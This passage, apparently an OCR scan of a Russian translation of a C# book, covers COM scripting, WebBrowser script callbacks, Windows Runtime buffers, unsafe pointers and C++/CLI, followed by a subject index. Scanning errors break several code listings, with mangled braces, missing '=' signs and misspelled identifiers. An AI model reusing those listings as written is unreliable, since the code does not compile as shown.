Интероперабельность (в разделе СОМ диалогового окна Reference Manager (Диспетчер ссы- лок)), Visual Studio по умолчанию импортирует ее в режиме, не исполь- зующем основные сборки взаимодействия. Среда станет добавлять все сгенерированные типы прямо в вашу скомпилированную сборку (при этом генерируются всего два типа, которые действительно используют- ся в коде, целая библиотека не импортируется). Эти типы будут анноти- роваться идентификатором Typeidentifier. Если хотите, можете отклю- чить данную функцию: разверните узел References (Ссылки) на панели Solution Explorer (Обозреватель решений), выберите импортирован- ный компонент и на вкладке Properties (Свойства) измените настрой- ку Embed Interop Types (Встраивать типы взаимодействия), задав для нее значение False (Ложно). В общем случае лучше все-таки встраивать типы — если вы станете работать лишь с подмножеством определенно- го API-интерфейса, то необходимый для установки набор файлов будет меньше, чем при необходимости устанавливать основную сборку взаи- модействия целиком. Процесс установки также упростится, поскольку интероперабельные типы будут встроены прямо в ваш компонент, а не окажутся в каком-то отдельном файле. Написание сценариев До сих пор мы рассматривали только те COM-интерфейсы, что специально предназначены для потребления из C++ и других языков, использующих модель СОМ на самом низком уровне. Но некоторые COM-объекты обеспечивают поддержку и для сценарных языков, на- пример для VBScript и JScript. Данные языки не различают библиотеки типов и не могут непосредственно вызывать необработанные методы COM-интерфейсов. Вместо этого они опираются при работе на общий интерфейс IDispatch, позволяющий обращаться к членам объекта по имени. Язык сценариев также может передать имя метода, который он хочет вызвать, а кроме того, коллекцию аргументов. После этого объекту приходится решить, распознает ли он имя и достаточное ли количество аргументов нужных типов (или типов, которые могут быть с легкостью преобразованы в нужные) было передано. Когда общеязыковая исполняющая среда оборачивает .NET-объект, передаваемый вами в неуправляемый код, создаваемая ею оболочка COM-вызовов реализует интерфейс IDispatch. Таким образом, у язы- ков сценариев появляется возможность обращаться к вашим .NET- объектам. Вам потребуется применить атрибут [ComVisible (true) ], что- 1115
Глава 21 бы сообщить CLR, что вы хотели бы сделать тип видимым, но пока этот атрибут-здесь присутствует, все открытые методы и свойства класса бу- дут доступны. Проиллюстрирую этот функционал на примере, где содержится эле- мент управления WPF WebBrowser. Этот элемент управления предостав- ляет свойство ObjectForScripting, и вы можете снабдить его ссылкой на объект, который будет доступен сценарию на веб-странице через свойство window.external. Это может быть целесообразно, если пользователь дол- жен входить в ваше приложение под логином и паролем, а вы хотите, чтобы пользователи могли применять при этом внешние поставщики идентифи- кационной информации, например Facebook и Google. Идентификацион- ные сервисы с этих сайтов предоставляют собственные веб-интерфейсы для входа в систему, и когда пользователь укажет логин и пароль, такие сервисы вновь перенаправят его на выбранную вами страницу. Все это очень удобно в веб-приложении, но если вы пишете локальное приложе- ние для ПК, то пользовательский интерфейс для входа в систему должен располагаться в WebBrowser. Самое сложное — определить, когда вход в си- стему будет выполнен. Обычно для этого пишется сценарий, который по- мещается на ту последнюю страницу, куда поставщик идентификационной информации переадресует пользователя после завершения процедуры ре- гистрации. Этот сценарий может вызывать метод в window. external, чтобы уведомить ваше приложение об окончании процедуры. Например, имен- но таким образом работает служба контроля доступа, предоставляемая в Windows Azure, — она ожидает, что window.external предоставит метод Notify, которому служба передаст метку, содержащую учетные данные. Я не буду описывать здесь полное решение, так как в нем нам пришлось бы разбираться с множеством дополнительных сложностей, не связанных с интероперабельностью и написанием сценариев, а покажу только основ- ную идею. В листинге 21.25 приведена XAML-разметка. Листинг 21.25. Размещение в веб-браузере <Window х:Class="BrowserScriptHost.MainWindow” xmlns= "http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="MainWindow" Height="350" Width="525"> <Grid> <Grid.RowDefinitions> <RowDefinition /> 1116
Интероперабельность <RowDefinition Height="Auto" /> </Grid.RowDefinitrons> <WebBrowser x:Name="browserControl" /> CTextBlock x:Name="messageTextBlock" Grid.Row="l" /> </Grid> </Window> В листинге 21.26 показан отделенный код. В реальном приложении он бы привел нас к поставщику идентификационной информации, но здесь мы просто имитируем веб-страницу, которая выполняет ту же функцию, что и обычная целевая страница, а именно — вызывает ме- тод, предоставляемый window. external. А чтобы мы могли без труда убе- диться в ее работоспособности, она не вызывает метод немедленно (в ситуации со входом в систему происходил бы именно немедленный вы- зов этого метода). Напротив, она вызывает метод только после того, как будет нажата одна из двух кнопок. Листинг 21.26. Обработка на веб-странице уведомлений, приходящих от сценария using System.Runtime.InteropServices; using System.Windows; namespace BrowserScriptHost { public partial class MainWindow Window { public MainWindow() { InitializeComponent(); browsercontrol.ObjectForScripting = new Browsercallbacks(this); var buttonFormat = "cinput type='button' value='{0}' + "onclick='window.external .ButtonClicked(\"{0}\")' />"; browsercontrol.NavigateToString( "<htmlxhead><title>Test</title> </headxbody>" + string.Format(buttonFormat, "One”) + string.Format(buttonFormat, "Two") + "</bodyx/html>") ; } 1117
Глава 21 [ComVisible(true)] public class Browsercallbacks { private readonly MainWindow _parent; public Browsercallbacks(MainWindow parent) ( _parent = parent; I public void ButtonClicked(string buttonName) { _parent.messageTextBlock.Text = buttonName + " was clicked"; I I ) ) В этом примере содержится вложенный класс Browsercallbacks, кото- рый я выражаю как ObjectForScripting. В итоге он передается браузеру, являющемуся неуправляемым компонентом. Это означает, что рано или поздно данная ссылка на объект пересечет границу интероперабельности, и CLR обернет ее в CCW. Оболочка увидит, что тип объекта был объявлен таким образом, чтобы его можно было видеть в модели СОМ, а потому открытый метод ButtonClicked данного объекта будет доступен через реа- лизацию‘IDispatch. Именно поэтому обработчик события onclick и два элемента-кнопки <input> могут вызывать данный метод. И если вы запу- стите приведенный в листинге код, то увидите, что поле TextBlock в ниж- ней части окна обновляется, когда вы нажимаете кнопки в размещенном HTML. Оболочки исполняющей среды также поддерживают работу со сценариями. Я продемонстрировал это выше, в листинге 21.13, хотя те- перь показал обычный способ инстанцирования COM-классов. Итак, бу- дет более целесообразно использовать код из листинга 21.27. Листинг 21.27. Создание и использование COM-объекта, предназначенного для работы со сценариями dynamic арр = Activator.Createlnstance( Type.GetTypeFromProgID("Shell.Application")); foreach (dynamic item in app.NameSpace(0).items) ( Console.WriteLine(item.Name); I 1118
Интероперабельность Многие СОМ-объекты, предназначенные для работы со сценария- ми, не предоставляют библиотеку типов, поэтому при обращении с ними обычно стоит пользоваться ключевым словом dynamic. •г- —' Однако если вы используете COM-типы, предоставляющие двойные интерфейсы (такие, которые могут работать как с классическими, так и со сценарными клиентами), и если в таком случае библиотека типов до- ступна, то, пожалуй, лучше применять ее. Ведь с ней вы получаете функ- цию IntelliSense и предварительную проверку во время компиляции. Поскольку ключевое слово dynamic появилось только в .NET 4.0, пример 21.27, конечно же, не будет работать в более ранних версиях. Существует еще один способ, применявшийся с момента появления .NET 1.0 и функционирующий до сих пор. Обычно проще использовать dynamic, но об альтернативе стоит хотя бы иметь представление. Когда оболочка исполняющей среды обнаруживает, что COM-объект реали- зует интерфейс IDispatch, она позволяет вам использовать члены этого объекта через отражение. Итак, если вы знаете имя метода или свойства, то можете либо найти его (вызвав для этого GetMethod или GetProperty), либо воспользоваться универсальным методом InvokeMember, имеющим- ся у объекта Туре. В листинге 21.28 мы достигаем того же эффекта, что и в листинге 21.27, но без dynamic. ' Листинг 21.28. Работа со сценариями СОМ при помощи отражения Type t = Type.GetTypeFromProgID("Shell.Application"); object app = Activator.Createlnstance(t); object folder = t.InvokeMember("Namespace", BindingFlags.Public I BindingFlags.InvokeMethod, null, app, new object[] { 0 }); Type folderType = folder.GetType(); object items = folderType.InvokeMember("Items", BindingFlags.Public I BindingFlags.InvokeMethod, null, folder, null); foreach (object item in items as lEnumerable) { Type itemType = item.GetType(); object name = itemType.InvokeMember("Name", BindingFlags.Public I BindingFlags.GetProperty, null, item, null); Console.WriteLine(name); } 1119
Глава 21 Теперь понятно, почему в большинстве случаев лучше воспользо- ваться dynamic (или вообще обойтись без сценариев). Подход, показан- ный в листинге 21.28, может быть более целесообразен в двух случаях. Первый — когда вы работаете над старым проектом и не можете приме- нять .NET 4.0. Второй — когда вы хотите узнать, какие члены доступны во время выполнения. Если вам не известно, какие объекты вы будете получать, то может быть полезно задействовать отражение и проверить, что есть в вашем распоряжении. Конечно, вызывать члены, чье назна- чение неизвестно, вообще опасно, но в некоторых ситуациях это бывает уместно. Допустим, вы хотите отобразить все свойства объекта в поль- зовательском интерфейсе, не зная заранее, какими будут эти свойства. Такая тактика может и не сработать, поскольку не все СОМ-объекты, способные работать со сценариями, поддерживают узнавание объектов во время выполнения (при обращении со сценариями эта возможность является опциональной). Но при работе с объектами, поддерживающи- ми такой вариант, доступ проще организуется при помощи отражения, а не посредством dynamic. Windows Runtime Windows Runtime — это среда и API, созданные для поддержки при- ложений нового стиля, появившихся в Windows 8. Вы можете использо- вать ее как из управляемого, так и из неуправляемого кода. Сама среда является неуправляемой, причем поверх нее в качестве отдельного слоя может находиться .NET Framework. Этот API основан на объектах и ис- пользует модель СОМ. Итак, в большинстве случаев, когда вы приме- няете Windows Runtime из языка С#, вы делаете это при помощи тех же самых механизмов взаимодействий, которые используются с объектной моделью компонентов. Но ряд различий все же имеется: обработка ме- таданных происходит иначе, кроме того, в Windows Runtime применяет- ся собственный способ представления и инстанцирования типов. Метаданные Несмотря на то что Windows Runtime основана на СОМ, она вооб- ще не использует библиотеки типов. Она требует, чтобы по всем типам предоставлялся полный набор метаданных, а с библиотеками типов это невозможно — по причинам,'описанным выше. А потому в каждой би- блиотеке имеется файл с расширением .winmd. Файлы с метаданными 1120
Интероперабельность для API Windows Runtime вы найдете в каталоге C:\Windows\System32\ WinMetadata операционной системы Windows 8 (предполагается, что Windows установлена там, где обычно). Microsoft решила не разрабатывать совершенно новый формат фай- лов, а применить такой же формат метаданных, как и с .NET. Любая про- грамма, которая может просматривать типы .NET-сборки, способна, как правило, и искать файлы .winmd. Например, для этого можно восполь- зоваться инструментом ILDASM — дизассемблером, поставляемым с .NET, — либо сторонним декомпиляционным инструментом, таким как Reflector. Windows Runtime добавляет несколько расширений, а потому время от времени этим инструментам будут попадаться «непонятные» для них поля. Но в большинстве случаев декомпилятор воспринимает файлы .winmd точно так же, как сборки .NET, не содержащие никаких промежуточных языков (IL). Соответственно, мы можем без труда использовать типы Windows Runtime из С#. Разумеется, компилятор С#, поставляемый с Visual Studio 2012, имеет встроенную поддержку Windows Runtime, но, благо- даря сходству между системами метаданных, на практике эти типы дей- ствуют как самые обычные типы С#. Мы обходимся без дополнитель- ного этапа, на котором типы преобразовывались бы в представления, готовые для использования. На самом деле из-за этого взаимодействие с типами Windows Runtime оказывается таким будничным процессом, что иногда вы даже не ощущаете, что применяемые типы берутся из иной среды времени выполнения. Типы фреймворка Windows Runtime Одно из самых важных дополнений к COM-модели, сделанных в Windows Runtime, заключается в том, как работают классы. В СОМ класс фактически является именованной фабрикой, создающей новые объекты СОМ. Класс идентифицируется по GUID, который вы можете передать тому API, что будет возвращать новый COM-объект. Тради- ционная модель СОМ не поддерживала таких возможностей, как на- следование или статические методы, но в Windows Runtime ситуация изменилась. Хотя немодифицированная модель СОМ сохраняет фундаменталь- ную ориентацию на работу с интерфейсами,^ не с классами, в Windows Runtime вводится ряд соглашений, определяющих, как следует реализо- 1121
Глава 21 вывать семантику единичного наследования и статические методы. На внутрисистемном уровне наследование опирается на производные клас- сы, сохраняющие ссылку на объект, предоставленный базовым классом, при необходимости выступающим в качестве делегата. Поддержка ста- тических методов осуществляется путем определения отдельного объек- та, реализующего интерфейс, на котором определяются все статические методы. Здесь также применяются новые API для инстанцирования ти- пов — старый API CoCreatelnstance «не знает» этих новых соглашений, потому для воплощения таких новых возможностей используются спе- циальные интерфейсы RoCreatelnstance и RoGetActivationFactory. В C# компилятор и общеязыковая исполняющая среда взаимодей- ствуют и скрывают такие детали. Если вы хотите произвести класс от типа Windows Runtime, это делается ровно тем же способом, как и при наследовании от любого другого типа С#. Как и в предыдущих случаях, вызов статических методов просто работает, и вы никогда не наткнетесь на те препятствия, которые приходится преодолевать для обеспечения работоспособности на уровне СОМ. Интересно отметить, что все эти внутренние механизмы по умолчанию скрыты и от разработчиков, ис- пользующих C++. Традиционно C++ был языком, в котором большин- ство внутрисистемных операций COM-модели разворачивались у вас перед глазами, хорошо это или нет. Но компилятор C++ в Visual Studio 2012 скрывает почти все те же детали, которые скрывает компилятор С#. Тем не менее, если вы по-прежнему хотите все делать в C++ сами, такая возможность у вас есть. Итак, на практике интероперабельность с Windows Runtime почти не требует обсуждения, так как протекает очень гладко. Две ситуации, в которых существуют очевидные отличия в работе (обусловленные тем, что вы взаимодействуете с API, не основанным на .NET), возника- ют при работе с потоками ввода/вывода и с буферами. Мы уже обсуди- ли потоки ввода/вывода в главе 16, но о буферах пока не говорили. На самом деле в листинге 16.5 использовался буфер, просто я не заострял на этом внимания. Буферы Некоторым API требуется передавать большие объемы неупорядо- ченных двоичных данных. Например, при считывании из потока данных или при записи в него часто бывает необходимо обрабатывать данные небольшими порциями, а если при этом вы имеете дело со значитель- 1122
Интероперабельность ными объемами информации, то такие порции могут достигать размера в несколько килобайт, а то и мегабайт. В .NET мы обычно справляемся с такими проблемами, передавая аргументы типа byte [ ]. Как правило, при этом указывается байтовое смещение и длина фрагмента данных — таким образом, мы можем работать в определенном подмножестве мас- сива. Поскольку в Windows Runtime требуется поддерживать и такие языки, которые не входят в .NET, она поддерживает неуправляемую абстракцию, интерфейс IBuffer. Он работает почти так же, как описа- но выше, — обеспечивает способ передачи контейнера байтов, предна- значенных для чтения или записи, к API. Однако основная характерная особенность IBuffer заключается в том, что ему приходится предостав- лять свое содержимое посредством нативного неуправляемого указате- ля. Кроме того, IBuffer инкапсулирует диапазон значений. Поэтому нет необходимости передавать IBuffer, исходное смещение и длину. Вы про- сто создаете IBuffer, сразу задавая для него нужные смещение и длину. Таким образом, требуется передать всего один аргумент. Интероперабельные сервисы для Windows Runtime определяют ме- тоды расширений для работы с IBuffer. Если вам необходимо создать IBuffer, то вы берете за основу массив и используете метод расширения AsBuf fer. В листинге 21.29 показана выдержка из листинга 16.4, где этот метод продемонстрирован на практике, в контексте кода, записывающе- го данные в файл. Самая важная строка находится в конце и выделена жирным шрифтом. Листинг 21.29. Создание буфера IBuffer для записи в файл public static async Task SaveString(string fileName, string value) { StorageFolder folder = ApplicationData.Current.LocalFolder; StorageFile file = await folder.CreateFileAsync(fileName, CreationCollisionOption.ReplaceExisting) ; using (IRandomAccessStream runtimestream = await file.OpenAsync(FileAccessMode.ReadWrite)) { lOutputStream output = runtimestream.GetOutputStreamAt(0); byte[] valueBytes = Encoding.UTF8.GetBytes(value); await output.WritaAsync (valueBytes. AsBuffer ()); } } 1123
Глава 21 В итоге у нас получится экземпляр типа, называемого WindowsRuntimeBuffer. Это реализация интерфейса IBuffer, служащая оболочкой для .NET-массива. Данный тип фиксирует массив в той точ- ке, где код, потребляющий буфер, запрашивает указатель на него, и сни- мает фиксацию, как только объект буфера высвобождается. Поскольку большинство API, работающих с буферами, выполняют ввод/вывод, который в Windows Runtime всегда обрабатывается асинхронно, такое высвобождение не произойдет немедленно, но должно случиться, как только завершится операция считывания или записи данных. Иногда вам придется не предоставлять свой буфер, а обрабатывать имеющийся IBuffer, к содержимому которого вы хотите получить до- ступ. Например, класс WriteableBitmap наследует от базового типа ImageSource, предназначенного для представления растровых рисунков. Принцип работы этого типа понятен из использования XAML-элемента Image и ImageBrush в Windows Runtime. Он позволяет делать растровые рисунки из пикселов, создаваемых во время выполнения. Здесь предо- ставляется свойство PixelBuffer, возвращающее интерфейс IBuffer, в которое вы можете записывать цветовые значения пикселов. В ли- стинге 21.30 создается массив byte [ ] цветов пикселов, после чего эта информация задается в качестве основы для пикселов записываемой карты битов. Листинг 21.30. Запись массива byte [ ] в имеющийся буфер IBuffer int width 256; int height = 256; byte[] pixelData new byte[4 * width * height]; for (int у 0; у < height; ++y) { for (int x = 0; x < width; ++x) { int idx = 4 * ((y * width) + x); pixelData[idx] 255; // Синий pixelData[idx + 1] (byte) x; // Зеленый pixelData[idx + 2] (byte) у; // Красный pixelData[idx + 3] = 255; // Альфа } } var bmp = new WriteableBitmap(width, height); pixelData.CopyTo(bmp.PixelBuffer); 1124
И нтероперабел ьность Этот код использует метод расширения СоруТо, определяемый в классе WindowsRuntimeBuf ferExtensions — том же самом, который пре- доставляет и метод AsBuffer, который мы применяли в листинге 21.29. Данный перегруженный метод копирует весь массив, но при желании вы можете специально указать нужное смещение и длину. Этот класс также содержит методы расширений для считывания информации из буфера — некоторые перегруженные варианты СоруТо могут копировать содержимое из IBuffer в целевой массив. У IBuffer также имеется рас- ширенный вариант ТоАггау, способный возвращать массив byte [ ], где находится копия содержимого буфера. Небезопасный код Иногда бывает целесообразно напрямую оптировать необработан- ными указателями в С#. Строго говоря, эта возможность не относится к сфере интероперабельности, но часто применяется в сценариях, пред- полагающих взаимодействие. C# поддерживает указатели в стиле С, но по умолчанию они отключены. Вы можете использовать их лишь в бло- ках кода, помеченных ключевым словом unsafe, а это слово можете при- менять, только если активировали соответствующую функцию в ком- пиляторе. За нее отвечает одна из настроек в проекте Visual Studio. Эта функция также доступна при управлении компилятором из командной строки. В блоке unsafe можно поставить астериск после имени типа, что- бы сделать из него указатель. Например, int* — это указатель на int, a int** — указатель на указатель на int. Такой же синтаксис применяет- ся и в С, и в С#. Если у вас есть какая-то переменная pNum, являющаяся указателем, то при помощи выражения *pNum вы можете получить зна- чение, на которое она указывает. С указателями вы также можете вы- полнять арифметические операции. Так, выражение *(pNum + 2) дает значение, идущее на две позиции после той, на которую направлен ука- затель. Если pNum указывает на четырехбайтный тип, например int, то вышеприведенное выражение даст нам значение, расположенное через восемь байтов после указанного в pNum. Вы можете использовать любое из этих выражений слева от оператора присваивания, чтобы изменить значение, на которое указывает переменная. Именно такая возможности арифметических действий над указате- лями и делает указатели небезопасными. Ведь подобным способом вы 1125
Глава 21 можете считывать значение или записывать его в любой точке памяти вашего процесса. Еще одна проблема заключается в том, что можно со- хранить указатель на какую-либо сущность и попытаться воспользо- ваться этим указателем, когда ее уже не будет, а тот фрагмент памяти, который когда-то был под нее выделен, может оказаться занят совер- шенно другой информацией. Так можно нарушать безопасность типов, обычно обеспечиваемую общеязыковой исполняющей средой, а также с легкостью обрушивать процесс или обходить какие-либо межпро- цессные меры безопасности. Именно поэтому Silverlight вообще не допускает выполнения небезопасного кода. Так что небезопасный код используется редко. Но иногда в некоторых интероперабельных сцена- риях небезопасный код бывает полезен — например, если вам требуется обратиться к буферу напрямую, а не копировать сущности в массивах. Таким образом можно повысить производительность, избавившись от лишнего копирования информации. Если вы хотите получить указатель на переменную в С#, то исполь- зуете префикс &, который возвращает адрес следующего за ним элемен- та. Не у всех выражений есть адреса — например, запись & (2 + 2) явля- ется недопустимой, поскольку выражение, следующее за амперсандом, дает значение, не имеющее конкретного местоположения. Вы обязатель- но должны использовать & с переменными. В листинге 21.31 указатели применяются так, что значение локальной переменной устанавливается нерациональным окольным путем. Листинг 21.31. Работа с указателями unsafe static void Main(string[] args) { int i; int* pi = &i; *pi = 42; Console.WriteLine(i); } Если переменная находится в куче (например, это поле или элемент массива), то она может переместиться в результате сборки мусора. При работе с обычными ссылками такой проблемы нет, так как сборщик му- сора автоматически обновляет ссылки на те объекты, что он переместил. Однако необработанные указатели не подчиняются сборщику мусора. Поэтому если вы собираетесь их использовать, то должны гарантиро- вать, что элементы, на которые они указывают, будут оставаться на сво- 1126
Интероперабельность ем месте. В случае с переменными, расположенными в стеке, это, опять же, не представляет проблемы, но в других ситуациях вам придется за- креплять объект за той переменной, на которую вам нужен указатель. В листинге 21.32 показано, как это делается при помощи ключевого сло- ва fixed. Листинг 21.32. Закрепление массива при помощи инструкции fixed int[] numbers = new int[2]; fixed (int* pi &numbers[0]) I *pi = 42; } Console.WriteLine(numbers[0]); Инструкция fixed начинается с выражения, порождающего указа- тель. Любой объект, на который он направлен, будет закреплен на сво- ем месте — до тех пор, пока программа не обработает следующий блок кода. Ситуация усложняется при применении анонимных методов; так как при работе с ними локальные переменные могут располагаться за преде- лами стека. C# решает эту проблему, просто запрещая проблематичные комбинации. Если вы взяли адрес на локальную переменную (как это сделано в листинге 21.31), C# сообщит об ошибке, как только вы попы- таетесь использовать эту переменную внутри вложенного метода. C++/CLI и расширения компонентов Хотя C++/CLI не является компонентом С#, об этой языковой под- системе полезно знать, если вам приходится активно заниматься обеспе- чением взаимодействий. Аббревиатура «СЫ» означает «общеязыковая инфраструктура». Как упоминалось в главе 1, это название в стандартах ЕСМА и ISO присвоено подмножеству .NET Framework. C++/CLI — это разработанное Microsoft расширение языка C++, позволяющее пи- сать и потреблять типы .NET из.языка C++. С точки зрения интеропе- рабельности самая интересная черта C++/CLI заключается в том, что код этой подсистемы может включать нативные фрагменты, написан- ные на C++ и позволяющие использовать нативные API естественным образом. Это означает, что вам не придется прибегать к Dlllmport. Вы сможете без труда вызывать API Win32 или другие динамически под- 1127
Глава 21 ключаемые библиотеки обычным образом, а также работать с такими API объектной модели компонентов, для которых отсутствуют библио- теки типов, — ведь в данном случае у вас будут заголовочные файлы, требуемые в C++. Затем вы сможете оборачивать этот код в .NET-класс, пользуясь расширениями C++/CLI. Поскольку у вас получится самый обычный класс .NET, его можно будет потреблять из С#. Иногда бывает гораздо проще написать обертку в стиле C++/CLI для нативного API, чем добиваться аналогичного эффекта исключительно средствами С#, пользуясь механизмами интероперабельности, описан- ными в этой главе. Разумеется, у такого метода есть и недостатки: вам приходится развертывать несколько компонентов, а значит, и использо- вать в вашем проекте несколько языков. Поэтому такой выбор не обяза- тельно оптимален, но некоторые API слишком сложны для использова- ния из С#, и стоит учитывать, что есть альтернативный вариант. Visual Studio 2012 добавляет схожую возможность в приложения фреймворка Windows Runtime; она называется «Расширения компо- нентов языка C++» (С++/СХ). Эта технология использует почти такой же синтаксис, как и C++/CLI, но специально ориентирована на работу с Windows Runtime. Если вам требуется вызывать нативный код в при- ложении Windows Runtime, то для такого вызова можно попробовать написать компонент С++/СХ, обернув его в тип Windows Runtime. По той же причине вы можете попробовать C++/CLI в проекте на С#, не связанном с Windows Runtime. Резюме Общеязыковая среда выполнения предоставляет ряд интеропера- бельных сервисов, дающих возможность вашему коду, написанному на С#, использовать нативные API. Такие API могут быть представлены ди- намически подключаемыми библиотеками (DLL), СОМ-компонентами и типами Windows Runtime. Кроме того, она позволяет создавать COM-обертки для объектов C# и реализовывать типы Windows Runtime на языке С#. Существует ряд проблем, свойственных для всех подоб- ных взаимодействий. Необходимо учитывать, сможете ли вы поддержи- вать как 32-битный, так и 64-битный код, когда зависите от нативного кода. Для того чтобы справляться с различиями в представлениях типов данных, а также для генерирования оболочек для объектов (по мере не- обходимости) аргументам требуется маршалинг. Соответственно, CLR 1128
Интероперабельность должна обращаться к метаданным, сообщая им сигнатуру каждого ме- тода, который вы хотите использовать. Обычно при этом приходится выполнять большую часть работы с привлечением DLL, так как вам не- обходимо объявлять метод с правильной сигнатурой. При применении объектной модели компонентов (COM) Visual Studio зачастую может импортировать объявления из библиотеки типов (хотя если такая воз- можность отсутствует, то вам придется писать определения интерфей- сов вручную, а это очень большая работа). Модель СОМ также под- держивает работу со сценариями. При применении Windows Runtime необходимые метаданные всегда будут в вашем распоряжении, a API Windows Runtime обычно сразу создаются с таким расчетом, чтобы их можно было без труда использовать в управляемом коде. Поэтому такие взаимодействия обычно проще всего осуществляется именно в Windows Runtime.
предметный указатель А advapi32.dll, 1076 App.config, 887 ASP.NET веб-формы, 1016,1032 главная страница, 1044 маршрутизация, 1017,1067 механизм визуализации, 1016 серверные элементы управления, 1032 страницы компоновки, 1028 Assemblylnfo.cs, 657, 735 С ClickOnce, 671 СОМ СОМ-автоматизация, 713 двойные интерфейсы, 714, 1119 домашние группы, 1106 многопоточное подразделение, 752 однопоточное подразделение, 752 L LINQ, 253 Entity Framework (EF), 542 LINQ to Entities, 542 LINQ to Events, 547,631 LINQ to Objects, 235, 546 LINQ to SQL, 543 LINQ to XML, 544 LINQ-оператор, 470 LINQ-провайдер, 470 Parallel LINQ 544 службы данных WCF Data Services, 543 M msbuild, 32,34 mscoree.dll, 634 mscorlib.dll, 658 MVC представление, 1052 D DOM (Document Object Model, объектная модель документа), 544 E editbin, 833 F Fusion, 644 G gacutil, 649 I IL (Intermediate Language, промежуточный язык), 26 J JIT-компиляция, 26 N NET Core Profile (базовый профиль .NET), 678 no PIA, 1114 О ole32.dll, 1096 R Razor, 1018 выражения, 1018 управление потоком данных, 1022 явное указание контента, 1025 S Silverlight, 673, 716 Т Task Parallel Library, 608 TLBIMP, 1111 изо
Предметный указатель W Windows 8,774 Windows Phone, 673 Windows Runtime, 1120 WinRT, 20 X XAML выравнивание по содержимому, 958 кисти, 1011 комбинируемость, 932 отделенный код, 945 панели, 961 прикрепляемые свойства, 949 расширение разметки, 991 шаблон, 932,988 шаблон модель-представление- презентатор, 1001 шаблон модель представления, 1001 шаблон раздельное представление, 1001 элементы свойств, 949 элементы управления, 977 элементы управления содержимым, 978 элементы-фигур, 1009 ячейки макета, 955 ХВАР, 672 А Аккумулятор, 518 начальное значение, 518 Анонимный тип, 61 Атрибуты, 52,731 Б Безопасность частично надежный код, 748 Библиотека TPL, Task Parallel Library, 608 библиотека классов, переносимая, 549 библиотека типов, 1106 Блок, 64 Блок кода, 1023 В Веб-узел, 633 Виртуальная система выполнения (VES, Virtual Execution System), 25 Внешний псевдоним, 641 Возможности обеспечения надежности, 414 Выражение, 71 Г Глобальный кэш сборок (Global Assembly Cache, GAC), 648 Горячие (активные) источники, 555 Горячие клавиши, 982 д Делегат, 417 асинхронный вызов делегата, 439 список вызова, 427 Десериализация, 745 Деструктор, 316,350 Динамические языки программирования, 706 Директивы препроцессора, 81 Домен приложения, 404, 751 Доступность внутренние члены, 291 закрытые члены, 291 защищенные внутренние члены, 291 защищенные члены, 291 открытые члены, 291 Ж Ждущий объект, 916 3 Запрос выражение запроса, 470 отложенное вычисление, 486 проекция, отображение, 500 сокращение, 501,522 формирование данных, 500 Захват регулярного выражения, 45 Значения сегмента, 395 Зондирование, 646 И Идентификатор глобально уникальный идентификатор, 147 унифицированный идентификатор ресурса (URI, Uniform Resource Identifier), 152 Именованные каналы, 774 Иммерсивные приложения, 939 Индексатор, 177 Инициализатор, 58 Инкапсуляция, 121 Инструкция, 69 выбора, 70 выражения, 69 1131
Предметный указатель итерации, 69 объявления, 69 Интероперабельность платформозависимые вызовы, 1092 побитно копируемые типы, 1076 соглашение о вызовах cdecl, 1093 соглашение о вызовах stdcall, 1093 Интерфейс, 172,185 lAsyncOperation, 621 lAsyncOperationWithProgress, 621 IBuffer, 1123 IDispatch, 1115 IObservable<T>, 546, 585 IObserver<T>, 548 using, 44 явная реализация, 187 Исключения, 374 асинхронные, 383,411 блоки catch, 384 блоки finally, 391 блоки try, 384 выбрасывание исключений, 392 необработанные, 407 К Квантор, 585 всеобщности, 510 существования, 510 Класс, 50,121 Assembly, 680 Const rue tor Info, 697 Eventinfo, 701 ExpandoObject, 725 Field Info, 700 Memberinfo, 687 MethodBase, 697 Methodinfo, 697 Module, 685 Parameter Info, 700 Propertyinfo, 701 Stream, 763 Type, 690 Typeinfo, 691 доступность, 122 запечатанный, 305 конкретный, 296 конструктор, 153 конструктор по умолчанию, 154 неизменяемый, 131 псевдоним класса, 47 Ключ метаданных, 395 функции, 437 Ключевое слово await, 915 dynamic, 712 in, 552 out, 552 Ковариантность, 199, 281,552 Код машинный, 25 управляемый, 26 Кодовая страница, 788 Коллекция непараллельная, 271 параллельная, 271 Комментарии, 78 ограниченные, 78 однострочные, 78 Контравариантность, 199,282,552 Корень, 319 Кортеж, 273 Кризис среднего возраста, 338 Культура, 662 Куча, 317 больших объектов, 339 закрепленные блоки, 346 поколения,334 эфемерные поколения, 336 Л Литерал, 71 Логическое возвращаемое значение, 1096 Локаль, 471 Лямбда-выражение, 441 М Манипулятор, 1088 Маршалинг, 1076 Массив, 217 бинарный поиск, 229 гиперкубический, 239 зубчатый, 235 кубический,239 прямоугольный, 235, 238 элементы массива, 217 Меню эпизодов. См. Меню глав Метаданные, 635 Метка порядка следования, 784 Метод, 164 Delay, 629 DelaySubscription, 629 From Event Pattern, 616,619 GetHashCode, 141 Observable. Empty <T>, 570 Observable.Generate<TState, TResult>, 572 Observable. Interval, 622 Observable.Never<T>, 570 Observable. Range, 571 Observable. Repeat<T>, 572 Observable. Return<T>, 571 '-Observable.Throw<T>, 571 Observable.Timer, 624 ObserveOn, 604 Range, 604 Repeat, 604 1132
Предметный указатель Sample, 627 SubscribeOn, 606 Throttle, 627 Timelnterval, 626 Timeout, 627 Timestamp, 625 To Event Pattern, 619 абстрактный, 295 анонимная функция, 440 анонимный, 440 аргумент метода, 165 виртуальный, 293 встроенный, 440 группа методов, 420 запечатанный, 304 метод расширения, 169 Методы расширения ToObservable, 614 перегрузка, 168 статический, 51 условный, 82 Микротесты производительности, 231 Множество, 267 Модель push, 546 Модель асинхронного программирования (АРМ, Asynchronous Programming Model), 619 Модель представления, 1001 Модули, 635 Н Насечки, 984 Наследование, 275 отношения is-a (является), 276 срезка, 275 Непроизносимые идентификаторы, 920 Неявное проваливание, 114 О Область объявления, 67,128 Обобщающие операторы, 586 Обобщения, 196 аргумент типа, 196 обобщенный метод, 211 обобщенный тип, 196 параметр типа, 196 сконструированный тип, 198 Оболочка для СОМ-вызовов, 1081 Оболочка исполняющей среды, 1081 Общая система типов (CTS, Common Туре System), 19 Общение. См. Обсуждение Общеязыковая инфраструктура (CLI, Common Language Infrastructure), 24 Общеязыковая среда выполнения (CLR, Common Language Runtime), 18 Объект восстановление объекта, 355 достижимый, 318 Ограничения, 199 Окно, 592 Октет, 762 Операнд, 71 Оператор Amb, 601 Buffer, 591 Concat, 587 Count, 586 DistinctUntilChanged, 602 ElementAt, 586 GroupBy, 577 GroupJoin, 578 Join, 578 Merge, 589 